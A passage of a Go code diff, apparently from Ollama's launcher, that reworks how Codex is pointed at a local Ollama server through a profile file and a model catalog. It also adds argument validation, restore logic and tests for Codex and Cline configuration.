+		data, _ := json.Marshal(config)
+		os.WriteFile(providersPath, data, 0o644)
+
+		models := c.Models()
+		if len(models) != 1 || models[0] != "glm-5:cloud" {
+			t.Errorf("Models() = %v, want [glm-5:cloud]", models)
+		}
+	})
+
+	t.Run("ignores stale CLI provider config when ollama is not active", func(t *testing.T) {
+		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
+		os.MkdirAll(configDir, 0o755)
+		os.MkdirAll(filepath.Dir(providersPath), 0o755)
+		legacyConfig := map[string]any{
+			"actModeApiProvider":   "anthropic",
+			"actModeOllamaModelId": "legacy-ollama-model",
+		}
+		data, _ := json.Marshal(legacyConfig)
+		os.WriteFile(configPath, data, 0o644)
+		providerConfig := map[string]any{
+			"lastUsedProvider": "openai",
+			"providers": map[string]any{
+				clineLaunchProvider: map[string]any{
+					"settings": map[string]any{
+						"model": "stale-ollama-model",
+					},
+				},
+			},
+		}
+		data, _ = json.Marshal(providerConfig)
+		os.WriteFile(providersPath, data, 0o644)
+
+		if models := c.Models(); models != nil {
+			t.Errorf("Models() = %v, want nil", models)
+		}
+	})
 }
 
 func TestClinePaths(t *testing.T) {
@@ -201,4 +425,38 @@ func TestClinePaths(t *testing.T) {
 			t.Errorf("Paths() = %v, want [%s]", paths, configPath)
 		}
 	})
+
+	t.Run("returns both paths when both configs exist", func(t *testing.T) {
+		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
+		legacyPath := clineLegacyGlobalStatePath(tmpDir)
+		providersPath := clineProvidersPath(tmpDir)
+		os.MkdirAll(filepath.Dir(legacyPath), 0o755)
+		os.MkdirAll(filepath.Dir(providersPath), 0o755)
+		os.WriteFile(legacyPath, []byte("{}"), 0o644)
+		os.WriteFile(providersPath, []byte("{}"), 0o644)
+
+		paths := c.Paths()
+		want := []string{providersPath, legacyPath}
+		if len(paths) != len(want) {
+			t.Fatalf("Paths() = %v, want %v", paths, want)
+		}
+		for i := range want {
+			if paths[i] != want[i] {
+				t.Fatalf("Paths() = %v, want %v", paths, want)
+			}
+		}
+	})
+}
+
+func TestClineLaunchArgs(t *testing.T) {
+	got := clineLaunchArgs("kimi-k2.5:cloud", []string{"--json", "hello"})
+	want := []string{"--json", "hello"}
+	if len(got) != len(want) {
+		t.Fatalf("args length = %d, want %d: %v", len(got), len(want), got)
+	}
+	for i := range want {
+		if got[i] != want[i] {
+			t.Fatalf("args[%d] = %q, want %q; got %v", i, got[i], want[i], got)
+		}
+	}
 }

cmd/launch/codex.go

@@ -1,13 +1,17 @@
 package launch
 
 import (
+	"encoding/json"
 	"fmt"
 	"os"
 	"os/exec"
 	"path/filepath"
 	"strings"
 
+	"github.com/ollama/ollama/cmd/internal/fileutil"
 	"github.com/ollama/ollama/envconfig"
+	"github.com/ollama/ollama/types/model"
+	"github.com/pelletier/go-toml/v2"
 	"golang.org/x/mod/semver"
 )
 
@@ -16,27 +20,54 @@ type Codex struct{}
 
 func (c *Codex) String() string { return "Codex" }
 
-const codexProfileName = "ollama-launch"
+const (
+	codexProfileName           = "ollama-launch"
+	codexProviderName          = "Ollama"
+	codexFallbackContextWindow = 128_000
+	codexRestoreSuccess        = "Codex launch configuration removed."
+
+	codexRootProfileKey          = "profile"
+	codexRootModelKey            = "model"
+	codexRootModelProviderKey    = "model_provider"
+	codexRootModelCatalogJSONKey = "model_catalog_json"
+)
+
+func (c *Codex) args(model, modelCatalogPath string, extra []string) ([]string, error) {
+	if err := codexValidateExtraArgs(extra); err != nil {
+		return nil, err
+	}
 
-func (c *Codex) args(model string, extra []string) []string {
 	args := []string{"--profile", codexProfileName}
+	for _, override := range codexManagedConfigOverrides(modelCatalogPath) {
+		args = append(args, "-c", override)
+	}
 	if model != "" {
 		args = append(args, "-m", model)
 	}
 	args = append(args, extra...)
-	return args
+	return args, nil
 }
 
-func (c *Codex) Run(model string, args []string) error {
+func (c *Codex) Run(model string, models []LaunchModel, args []string) error {
 	if err := checkCodexVersion(); err != nil {
 		return err
 	}
 
-	if err := ensureCodexConfig(); err != nil {
+	if err := ensureCodexConfig(model, models); err != nil {
 		return fmt.Errorf("failed to configure codex: %w", err)
 	}
 
-	cmd := exec.Command("codex", c.args(model, args)...)
+	catalogPath, err := codexModelCatalogPath()
+	if err != nil {
+		return fmt.Errorf("failed to configure codex: %w", err)
+	}
+
+	codexArgs, err := c.args(model, catalogPath, args)
+	if err != nil {
+		return fmt.Errorf("failed to configure codex: %w", err)
+	}
+
+	cmd := exec.Command("codex", codexArgs...)
 	cmd.Stdin = os.Stdin
 	cmd.Stdout = os.Stdout
 	cmd.Stderr = os.Stderr
@@ -46,79 +77,679 @@ func (c *Codex) Run(model string, args []string) error {
 	return cmd.Run()
 }
 
-// ensureCodexConfig writes a [profiles.ollama-launch] section to ~/.codex/config.toml
-// with openai_base_url pointing to the local Ollama server.
-func ensureCodexConfig() error {
-	home, err := os.UserHomeDir()
+func (c *Codex) Restore() error {
+	configPath, err := codexConfigPath()
 	if err != nil {
 		return err
 	}
 
-	codexDir := filepath.Join(home, ".codex")
-	if err := os.MkdirAll(codexDir, 0o755); err != nil {
+	if err := removeCodexProfileConfig(); err != nil {
+		return codexRestoreFailure(configPath, err)
+	}
+	if err := removeCodexModelCatalogIfUnused(configPath); err != nil {
+		return codexRestoreFailure(configPath, err)
+	}
+	return nil
+}
+
+func (c *Codex) RestoreSuccessMessage() string {
+	return codexRestoreSuccess
+}
+
+func (c *Codex) SkipRestoreInstallCheck() bool {
+	return true
+}
+
+func codexRestoreFailure(configPath string, err error) error {
+	return fmt.Errorf("restore Codex config: %w\n\nRestore did not complete. Check these files before retrying:\n  Codex config: %s\n  CLI profile: %s\n  CLI model catalog: %s\n  Backups: %s",
+		err,
+		configPath,
+		codexProfileConfigPathForConfig(configPath),
+		codexModelCatalogPathForConfig(configPath),
+		fileutil.BackupDir(),
+	)
+}
+
+func removeCodexProfileConfig() error {
+	profilePath, err := codexProfileConfigPath()
+	if err != nil {
+		return err
+	}
+	return removeCodexFile(profilePath)
+}
+
+func removeCodexModelCatalogIfUnused(configPath string) error {
+	catalogPath := codexModelCatalogPathForConfig(configPath)
+	data, err := os.ReadFile(configPath)
+	if err != nil && !os.IsNotExist(err) {
+		return err
+	}
+	if err == nil {
+		config, parseErr := codexParseConfig(string(data))
+		if parseErr != nil {
+			return parseErr
+		}
+		if config.RootString(codexRootModelCatalogJSONKey) == catalogPath {
+			return nil
+		}
+	}
+	return removeCodexFile(catalogPath)
+}
+
+func removeCodexFile(path string) error {
+	if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
+		return err
+	}
+	return nil
+}
+
+func codexValidateExtraArgs(args []string) error {
+	for i, arg := range args {
+		switch {
+		case arg == "-p", strings.HasPrefix(arg, "-p"):
+			return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
+		case arg == "--profile", strings.HasPrefix(arg, "--profile="):
+			return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
+		case arg == "-m", strings.HasPrefix(arg, "-m"):
+			return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
+		case arg == "--model", strings.HasPrefix(arg, "--model="):
+			return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
+		case arg == "-c", arg == "--config":
+			if i+1 < len(args) && codexConfigOverrideConflicts(args[i+1]) {
+				return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", args[i+1])
+			}
+		case strings.HasPrefix(arg, "-c") && len(arg) > len("-c"):
+			if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "-c")) {
+				return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
+			}
+		case strings.HasPrefix(arg, "--config="):
+			if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "--config=")) {
+				return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
+			}
+		}
+	}
+	return nil
+}
+
+func codexManagedConfigOverrides(modelCatalogPath string) []string {
+	overrides := []string{
+		fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
+		fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
+		fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
+		fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
+	}
+	if modelCatalogPath != "" {
+		overrides = append(overrides, fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, modelCatalogPath))
+	}
+	return overrides
+}
+
+func codexConfigOverrideConflicts(value string) bool {
+	key, _, ok := strings.Cut(strings.TrimSpace(value), "=")
+	if !ok {
+		return false
+	}
+	key = strings.TrimSpace(key)
+	key = strings.Trim(key, `"'`)
+	switch {
+	case key == codexRootProfileKey,
+		key == codexRootModelKey,
+		key == codexRootModelProviderKey,
+		key == codexRootModelCatalogJSONKey:
+		return true
+	case strings.HasPrefix(key, "model_providers."):
+		return true
+	}
+	return false
+}
+
+// ensureCodexConfig writes a Codex profile file and model catalog so Codex uses
+// the local Ollama server without changing app-visible root config.
+func ensureCodexConfig(modelName string, models []LaunchModel) error {
+	configPath, err := codexConfigPath()
+	if err != nil {
 		return err
 	}
 
-	configPath := filepath.Join(codexDir, "config.toml")
-	return writeCodexProfile(configPath)
+	codexDir := filepath.Dir(configPath)
+	if err := os.MkdirAll(codexDir, 0o755); err != nil {
+		return err
+	}
+	if err := cleanupCodexLegacyProfileConfig(configPath); err != nil {
+		return err
+	}
+
+	catalogPath := codexModelCatalogPathForConfig(configPath)
+	if err := writeCodexModelCatalog(catalogPath, codexCatalogModel(modelName, models)); err != nil {
+		return err
+	}
+
+	profilePath := codexProfileConfigPathForConfig(configPath)
+	return writeCodexProfileConfig(profilePath, modelName, catalogPath)
 }
 
-// writeCodexProfile ensures ~/.codex/config.toml has the ollama-launch profile
-// and model provider sections with the correct base URL.
-func writeCodexProfile(configPath string) error {
-	baseURL := envconfig.Host().String() + "/v1/"
+func codexConfigPath() (string, error) {
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(home, ".codex", "config.toml"), nil
+}
 
-	sections := []struct {
-		header string
-		lines  []string
+func codexModelCatalogPath() (string, error) {
+	configPath, err := codexConfigPath()
+	if err != nil {
+		return "", err
+	}
+	return codexModelCatalogPathForConfig(configPath), nil
+}
+
+func codexModelCatalogPathForConfig(configPath string) string {
+	return filepath.Join(filepath.Dir(configPath), "model.json")
+}
+
+func codexProfileConfigPath() (string, error) {
+	configPath, err := codexConfigPath()
+	if err != nil {
+		return "", err
+	}
+	return codexProfileConfigPathForConfig(configPath), nil
+}
+
+func codexProfileConfigPathForConfig(configPath string) string {
+	return codexNamedProfileConfigPathForConfig(configPath, codexProfileName)
+}
+
+func codexNamedProfileConfigPathForConfig(configPath, profileName string) string {
+	return filepath.Join(filepath.Dir(configPath), profileName+".config.toml")
+}
+
+func cleanupCodexLegacyProfileConfig(configPath string) error {
+	content, err := os.ReadFile(configPath)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil
+		}
+		return err
+	}
+	text := string(content)
+	parsed, err := codexParseConfig(text)
+	if err != nil {
+		return err
+	}
+
+	updated := text
+	if profile, ok := parsed.RootStringOK(codexRootProfileKey); ok && profile == codexProfileName {
+		updated = codexRemoveRootValue(updated, codexRootProfileKey)
+	}
+	if parsed.Exists("profiles", codexProfileName) {
+		updated = codexRemoveSection(updated, codexProfileHeader())
+	}
+	if updated == text {
+		return nil
+	}
+	if err := codexValidateConfigText(updated); err != nil {
+		return err
+	}
+	return fileutil.WriteWithBackup(configPath, []byte(updated), "")
+}
+
+// writeCodexProfileConfig ensures ~/.codex/ollama-launch.config.toml selects
+// the Ollama provider and catalog for CLI launches without changing root config.
+func writeCodexProfileConfig(profilePath, model, modelCatalogPath string) error {
+	return writeCodexNamedProfileConfig(profilePath, codexProfileName, model, modelCatalogPath, "")
+}
+
+func writeCodexNamedProfileConfig(profilePath, profileName, model, modelCatalogPath, backupSubdir string) error {
+	baseURL := codexBaseURL()
+
+	var lines []string
+	if strings.TrimSpace(model) != "" {
+		lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelKey, model))
+	}
+	lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelProviderKey, profileName))
+	if strings.TrimSpace(modelCatalogPath) != "" {
+		lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelCatalogJSONKey, modelCatalogPath))
+	}
+	text := strings.Join(lines, "\n") + "\n\n"
+	text += strings.Join([]string{
+		codexProviderHeaderFor(profileName),
+		fmt.Sprintf("name = %q", codexProviderName),
+		fmt.Sprintf("base_url = %q", baseURL),
+		`wire_api = "responses"`,
+		"",
+	}, "\n")
+
+	parsed, err := codexParseConfig(text)
+	if err != nil {
+		return err
+	}
+	if err := codexValidateProfileConfigText(parsed, profileName, model, modelCatalogPath, baseURL); err != nil {
+		return err
+	}
+
+	if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
+		return err
+	}
+	return fileutil.WriteWithBackup(profilePath, []byte(text), backupSubdir)
+}
+
+func codexBaseURL() string {
+	return strings.TrimRight(envconfig.ConnectableHost().String(), "/") + "/v1/"
+}
+
+func codexProfileHeader() string {
+	return codexProfileHeaderFor(codexProfileName)
+}
+
+func codexProviderHeader() string {
+	return codexProviderHeaderFor(codexProfileName)
+}
+
+func codexProfileHeaderFor(profileName string) string {
+	return fmt.Sprintf("[profiles.%s]", profileName)
+}
+
+func codexProviderHeaderFor(profileName string) string {
+	return fmt.Sprintf("[model_providers.%s]", profileName)
+}
+
+func codexValidateProfileConfigText(config codexParsedConfig, profileName, model, modelCatalogPath, baseURL string) error {
+	if config.Exists("profiles", profileName) {
+		return fmt.Errorf("generated Codex config still contains legacy profiles.%s table", profileName)
+	}
+	for _, check := range []struct {
+		path []string
+		want string
 	}{
-		{
-			header: fmt.Sprintf("[profiles.%s]", codexProfileName),
-			lines: []string{
-				fmt.Sprintf("openai_base_url = %q", baseURL),
-				`forced_login_method = "api"`,
-				fmt.Sprintf("model_provider = %q", codexProfileName),
-			},
-		},
-		{
-			header: fmt.Sprintf("[model_providers.%s]", codexProfileName),
-			lines: []string{
-				`name = "Ollama"`,
-				fmt.Sprintf("base_url = %q", baseURL),
-			},
-		},
+		{[]string{"model_providers", profileName, "name"}, codexProviderName},
+		{[]string{"model_providers", profileName, "base_url"}, baseURL},
+		{[]string{"model_providers", profileName, "wire_api"}, "responses"},
+	} {
+		if got, ok := config.String(check.path...); !ok || got != check.want {
+			return fmt.Errorf("generated Codex config missing %s = %q", strings.Join(check.path, "."), check.want)
+		}
 	}
-
-	content, readErr := os.ReadFile(configPath)
-	text := ""
-	if readErr == nil {
-		text = string(content)
+	if got, ok := config.RootStringOK(codexRootProfileKey); ok {
+		return fmt.Errorf("generated Codex config still contains legacy profile = %q", got)
 	}
+	if got := config.RootString(codexRootModelProviderKey); got != profileName {
+		return fmt.Errorf("generated Codex config missing model_provider = %q", profileName)
+	}
+	if model != "" {
+		if got := config.RootString(codexRootModelKey); got != model {
+			return fmt.Errorf("generated Codex config missing model = %q", model)
+		}
+	}
+	if modelCatalogPath != "" {
+		if got := config.RootString(codexRootModelCatalogJSONKey); got != modelCatalogPath {
+			return fmt.Errorf("generated Codex config missing model_catalog_json = %q", modelCatalogPath)
+		}
+	}
+	return nil
+}
 
-	for _, s := range sections {
-		block := strings.Join(append([]string{s.header}, s.lines...), "\n") + "\n"
+func codexUpsertSection(text, header string, lines []string) string {
+	block := strings.Join(append([]string{header}, lines...), "\n") + "\n"
 
-		if idx := strings.Index(text, s.header); idx >= 0 {
-			// Replace the existing section up to the next section header.
-			rest := text[idx+len(s.header):]
-			if endIdx := strings.Index(rest, "\n["); endIdx >= 0 {
-				text = text[:idx] + block + rest[endIdx+1:]
-			} else {
-				text = text[:idx] + block
-			}
-		} else {
-			// Append the section.
-			if text != "" && !strings.HasSuffix(text, "\n") {
-				text += "\n"
-			}
-			if text != "" {
-				text += "\n"
-			}
-			text += block
+	if targetPath, ok := codexTableHeaderPath(header); ok {
+		if start, end, found := codexSectionRange(text, targetPath); found {
+			return text[:start] + block + text[end:]
 		}
 	}
 
-	return os.WriteFile(configPath, []byte(text), 0o644)
+	if text != "" && !strings.HasSuffix(text, "\n") {
+		text += "\n"
+	}
+	if text != "" {
+		text += "\n"
+	}
+	return text + block
+}
+
+func codexRemoveSection(text, header string) string {
+	targetPath, ok := codexTableHeaderPath(header)
+	if !ok {
+		return text
+	}
+	start, end, found := codexSectionRange(text, targetPath)
+	if !found {
+		return text
+	}
+	return text[:start] + text[end:]
+}
+
+type codexParsedConfig struct {
+	values map[string]any
+}
+
+func (c codexParsedConfig) String(path ...string) (string, bool) {
+	if len(path) == 0 {
+		return "", false
+	}
+	var current any = c.values
+	for _, part := range path {
+		table, ok := current.(map[string]any)
+		if !ok {
+			return "", false
+		}
+		current, ok = table[part]
+		if !ok {
+			return "", false
+		}
+	}
+	value, ok := current.(string)
+	if !ok {
+		return "", false
+	}
+	return value, true
+}
+
+func (c codexParsedConfig) Exists(path ...string) bool {
+	if len(path) == 0 {
+		return false
+	}
+	var current any = c.values
+	for _, part := range path {
+		table, ok := current.(map[string]any)
+		if !ok {
+			return false
+		}
+		current, ok = table[part]
+		if !ok {
+			return false
+		}
+	}
+	return true
+}
+
+func (c codexParsedConfig) RootString(key string) string {
+	value, _ := c.RootStringOK(key)
+	return value
+}
+
+func (c codexParsedConfig) RootStringOK(key string) (string, bool) {
+	return c.String(key)
+}
+
+func (c codexParsedConfig) ProfileString(profileName, key string) string {
+	value, _ := c.String("profiles", profileName, key)
+	return value
+}
+
+func (c codexParsedConfig) ProviderString(profileName, key string) string {
+	value, _ := c.String("model_providers", profileName, key)
+	return value
+}
+
+func codexRootStringValue(text, key string) string {
+	config, err := codexParseConfig(text)
+	if err != nil {
+		return ""
+	}
+	return config.RootString(key)
+}
+
+func codexRootStringValueOK(text, key string) (string, bool) {
+	config, err := codexParseConfig(text)
+	if err != nil {
+		return "", false
+	}
+	return config.RootStringOK(key)
+}
+
+func codexStringValue(text string, path ...string) (string, bool) {
+	config, err := codexParseConfig(text)
+	if err != nil {
+		return "", false
+	}
+	return config.String(path...)
+}
+
+func codexSectionStringValue(text, header, key string) string {
+	path, ok := codexTableHeaderPath(header)
+	if !ok {
+		return ""
+	}
+	value, _ := codexStringValue(text, append(path, key)...)
+	return value
+}
+
+func codexParseConfig(text string) (codexParsedConfig, error) {
+	values, err := codexParseConfigText(text)
+	if err != nil {
+		return codexParsedConfig{}, err
+	}
+	return codexParsedConfig{values: values}, nil
+}
+
+func codexParseConfigText(text string) (map[string]any, error) {
+	cfg := map[string]any{}
+	if strings.TrimSpace(text) == "" {
+		return cfg, nil
+	}
+	if err := toml.Unmarshal([]byte(text), &cfg); err != nil {
+		return nil, fmt.Errorf("invalid Codex config TOML: %w", err)
+	}
+	return cfg, nil
+}
+
+func codexValidateConfigText(text string) error {
+	_, err := codexParseConfig(text)
+	return err
+}
+
+func codexSectionRange(text string, targetPath []string) (int, int, bool) {
+	lines := strings.SplitAfter(text, "\n")
+	offset := 0
+	start := -1
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if !strings.HasPrefix(trimmed, "[") || strings.HasPrefix(trimmed, "#") {
+			offset += len(line)
+			continue
+		}
+		if start >= 0 {
+			return start, offset, true
+		}
+		if path, ok := codexTableHeaderPath(trimmed); ok && codexSamePath(path, targetPath) {
+			start = offset
+		}
+		offset += len(line)
+	}
+	if start >= 0 {
+		return start, len(text), true
+	}
+	return 0, 0, false
+}
+
+func codexTableHeaderPath(header string) ([]string, bool) {
+	trimmed := strings.TrimSpace(header)
+	if !strings.HasPrefix(trimmed, "[") || strings.HasPrefix(trimmed, "[[") {
+		return nil, false
+	}
+
+	const probeKey = "__ollama_launch_probe"
+	cfg := map[string]any{}
+	if err := toml.Unmarshal([]byte(trimmed+"\n"+probeKey+" = true\n"), &cfg); err != nil {
+		return nil, false
+	}
+	return codexFindProbePath(cfg, probeKey, nil)
+}
+
+func codexFindProbePath(value any, probeKey string, path []string) ([]string, bool) {
+	table, ok := value.(map[string]any)
+	if !ok {
+		return nil, false
+	}
+	if probe, ok := table[probeKey].(bool); ok && probe {
+		return path, true
+	}
+	for key, child := range table {
+		if key == probeKey {
+			continue
+		}
+		if childPath, ok := codexFindProbePath(child, probeKey, append(path, key)); ok {
+			return childPath, true
+		}
+	}
+	return nil, false
+}
+
+func codexSamePath(a, b []string) bool {
+	if len(a) != len(b) {
+		return false
+	}
+	for i := range a {
+		if a[i] != b[i] {
+			return false
+		}
+	}
+	return true
+}
+
+func codexSetRootStringValue(text, key, value string) string {
+	lines := strings.SplitAfter(text, "\n")
+	rootEnd := len(lines)
+	for i, line := range lines {
+		if strings.HasPrefix(strings.TrimSpace(line), "[") {
+			rootEnd = i
+			break
+		}
+	}
+
+	assignment := fmt.Sprintf("%s = %q", key, value)
+	for i := range rootEnd {
+		line := lines[i]
+		trimmed := strings.TrimSpace(line)
+		if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+			continue
+		}
+		if codexRootLineHasKey(trimmed, key) {
+			if strings.HasSuffix(line, "\n") {
+				lines[i] = assignment + "\n"
+			} else {
+				lines[i] = assignment
+			}
+			return strings.Join(lines, "")
+		}
+	}
+
+	insert := assignment + "\n"
+	root := strings.Join(lines[:rootEnd], "")
+	rest := strings.Join(lines[rootEnd:], "")
+	if root != "" && !strings.HasSuffix(root, "\n") {
+		root += "\n"
+	}
+	if rest != "" && !strings.HasSuffix(insert, "\n\n") {
+		insert += "\n"
+	}
+	return root + insert + rest
+}
+
+func codexRemoveRootValue(text, key string) string {
+	lines := strings.SplitAfter(text, "\n")
+	rootEnd := len(lines)
+	for i, line := range lines {
+		if strings.HasPrefix(strings.TrimSpace(line), "[") {
+			rootEnd = i
+			break
+		}
+	}
+
+	out := make([]string, 0, len(lines))
+	for i, line := range lines {
+		if i < rootEnd {
+			trimmed := strings.TrimSpace(line)
+			if trimmed != "" && !strings.HasPrefix(trimmed, "#") && codexRootLineHasKey(trimmed, key) {
+				continue
+			}
+		}
+		out = append(out, line)
+	}
+	return strings.Join(out, "")
+}
+
+func codexRootLineHasKey(line, key string) bool {
+	cfg := map[string]any{}
+	if err := toml.Unmarshal([]byte(line+"\n"), &cfg); err != nil {
+		return false
+	}
+	_, ok := cfg[key]
+	return ok
+}
+
+func codexCatalogModel(modelName string, models []LaunchModel) LaunchModel {
+	if model, ok := findLaunchModel(models, modelName); ok {
+		model.Name = modelName
+		return model.WithCloudLimits()
+	}
+	return fallbackLaunchModel(modelName)
+}
+
+func writeCodexModelCatalog(catalogPath string, model LaunchModel) error {
+	entry := buildCodexModelEntry(model)
+
+	catalog := map[string]any{
+		"models": []any{entry},
+	}
+
+	data, err := json.MarshalIndent(catalog, "", "  ")
+	if err != nil {
+		return err
+	}
+
+	return os.WriteFile(catalogPath, data, 0o644)
+}
+
+func buildCodexModelEntry(launchModel LaunchModel) map[string]any {
+	modelName := launchModel.Name
+	contextWindow := codexFallbackContextWindow
+	systemPrompt := ""
+
+	if launchModel.ContextLength > 0 {
+		contextWindow = launchModel.ContextLength
+	} else if launchModel.Details.ContextLength > 0 {
+		contextWindow = launchModel.Details.ContextLength
+	}
+	if l, ok := lookupCloudModelLimit(modelName); ok {
+		contextWindow = l.Context
+	}
+
+	if !isCloudModelName(modelName) && launchModel.Details.Format != "safetensors" {
+		if ctxLen := envconfig.ContextLength(); ctxLen > 0 {
+			contextWindow = int(ctxLen)
+		}
+	}
+
+	modalities := []string{"text"}
+	if launchModel.HasCapability(model.CapabilityVision) {
+		modalities = append(modalities, "image")
+	}
+
+	truncationMode := "bytes"
+	if isCloudModelName(modelName) {
+		truncationMode = "tokens"
+	}
+
+	return map[string]any{
+		"slug":                         modelName,
+		"display_name":                 modelName,
+		"context_window":               contextWindow,
+		"shell_type":                   "default",
+		"visibility":                   "list",
+		"supported_in_api":             true,
+		"priority":                     0,
+		"truncation_policy":            map[string]any{"mode": truncationMode, "limit": 10000},
+		"input_modalities":             modalities,
+		"base_instructions":            systemPrompt,
+		"support_verbosity":            true,
+		"default_verbosity":            "low",
+		"supports_parallel_tool_calls": false,
+		"supports_reasoning_summaries": false,
+		"supported_reasoning_levels":   []any{},
+		"experimental_supported_tools": []any{},
+	}
 }
 
 func checkCodexVersion() error {
@@ -138,10 +769,10 @@ func checkCodexVersion() error {
 	}
 
 	version := "v" + fields[len(fields)-1]
-	minVersion := "v0.81.0"
+	minVersion := "v0.134.0"
 
 	if semver.Compare(version, minVersion) < 0 {
-		return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.81.0")
+		return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.134.0")
 	}
 
 	return nil

cmd/launch/codex_test.go

@@ -1,15 +1,44 @@
 package launch
 
 import (
+	"context"
+	"encoding/json"
+	"fmt"
 	"os"
 	"path/filepath"
 	"slices"
 	"strings"
 	"testing"
+
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/cmd/internal/fileutil"
+	modelpkg "github.com/ollama/ollama/types/model"
 )
 
+func TestCodexIntegration(t *testing.T) {
+	c := &Codex{}
+
+	t.Run("implements runner", func(t *testing.T) {
+		var _ Runner = c
+	})
+	t.Run("implements restore", func(t *testing.T) {
+		var _ RestorableIntegration = c
+		var _ RestoreSuccessIntegration = c
+		var _ RestoreInstallCheckSkipper = c
+	})
+}
+
 func TestCodexArgs(t *testing.T) {
 	c := &Codex{}
+	catalogPath := filepath.Join("tmp", "model.json")
+	managedArgs := []string{
+		"--profile", "ollama-launch",
+		"-c", fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
+		"-c", fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
+		"-c", fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
+		"-c", fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
+		"-c", fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, catalogPath),
+	}
 
 	tests := []struct {
 		name  string
@@ -17,15 +46,17 @@ func TestCodexArgs(t *testing.T) {
 		args  []string
 		want  []string
 	}{
-		{"with model", "llama3.2", nil, []string{"--profile", "ollama-launch", "-m", "llama3.2"}},
-		{"empty model", "", nil, []string{"--profile", "ollama-launch"}},
-		{"with model and extra args", "qwen3.5", []string{"-p", "myprofile"}, []string{"--profile", "ollama-launch", "-m", "qwen3.5", "-p", "myprofile"}},
-		{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, []string{"--profile", "ollama-launch", "-m", "llama3.2", "--sandbox", "workspace-write"}},
+		{"with model", "llama3.2", nil, append(slices.Clone(managedArgs), "-m", "llama3.2")},
+		{"empty model", "", nil, managedArgs},
+		{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, append(append(slices.Clone(managedArgs), "-m", "llama3.2"), "--sandbox", "workspace-write")},
 	}
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			got := c.args(tt.model, tt.args)
+			got, err := c.args(tt.model, catalogPath, tt.args)
+			if err != nil {
+				t.Fatal(err)
+			}
 			if !slices.Equal(got, tt.want) {
 				t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
 			}
@@ -33,174 +64,222 @@ func TestCodexArgs(t *testing.T) {
 	}
 }
 
-func TestWriteCodexProfile(t *testing.T) {
+func TestCodexArgsRejectManagedProfile(t *testing.T) {
+	c := &Codex{}
+	for _, extra := range [][]string{
+		{"-p", "myprofile"},
+		{"-pmyprofile"},
+		{"--profile", "myprofile"},
+		{"--profile=myprofile"},
+	} {
+		t.Run(strings.Join(extra, " "), func(t *testing.T) {
+			_, err := c.args("llama3.2", "", extra)
+			if err == nil || !strings.Contains(err.Error(), "manages --profile") {
+				t.Fatalf("args error = %v, want profile conflict", err)
+			}
+		})
+	}
+}
+
+func TestCodexArgsRejectManagedOverrides(t *testing.T) {
+	c := &Codex{}
+	for _, extra := range [][]string{
+		{"-m", "other"},
+		{"-mother"},
+		{"--model", "other"},
+		{"--model=other"},
+		{"-c", `model_catalog_json="/tmp/other.json"`},
+		{"--config", `model_provider="openai"`},
+		{"--config=model_providers.ollama-launch.base_url=\"http://other.invalid/v1/\""},
+	} {
+		t.Run(strings.Join(extra, " "), func(t *testing.T) {
+			_, err := c.args("llama3.2", "", extra)
+			if err == nil {
+				t.Fatalf("args error = nil, want managed config conflict")
+			}
+		})
+	}
+}
+
+func TestWriteCodexProfileConfig(t *testing.T) {
 	t.Run("creates new file when none exists", func(t *testing.T) {
 		tmpDir := t.TempDir()
-		configPath := filepath.Join(tmpDir, "config.toml")
+		profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
+		catalogPath := filepath.Join(tmpDir, "model.json")
 
-		if err := writeCodexProfile(configPath); err != nil {
+		if err := writeCodexProfileConfig(profilePath, "llama3.2", catalogPath); err != nil {
 			t.Fatal(err)
 		}
 
-		data, err := os.ReadFile(configPath)
+		data, err := os.ReadFile(profilePath)
 		if err != nil {
 			t.Fatal(err)
 		}
 
 		content := string(data)
-		if !strings.Contains(content, "[profiles.ollama-launch]") {
-			t.Error("missing [profiles.ollama-launch] header")
+		for _, want := range []string{
+			`model = "llama3.2"`,
+			`model_provider = "ollama-launch"`,
+			fmt.Sprintf("model_catalog_json = %q", catalogPath),
+			"[model_providers.ollama-launch]",
+			`name = "Ollama"`,
+			`base_url = "http://127.0.0.1:11434/v1/"`,
+			`wire_api = "responses"`,
+		} {
+			if !strings.Contains(content, want) {
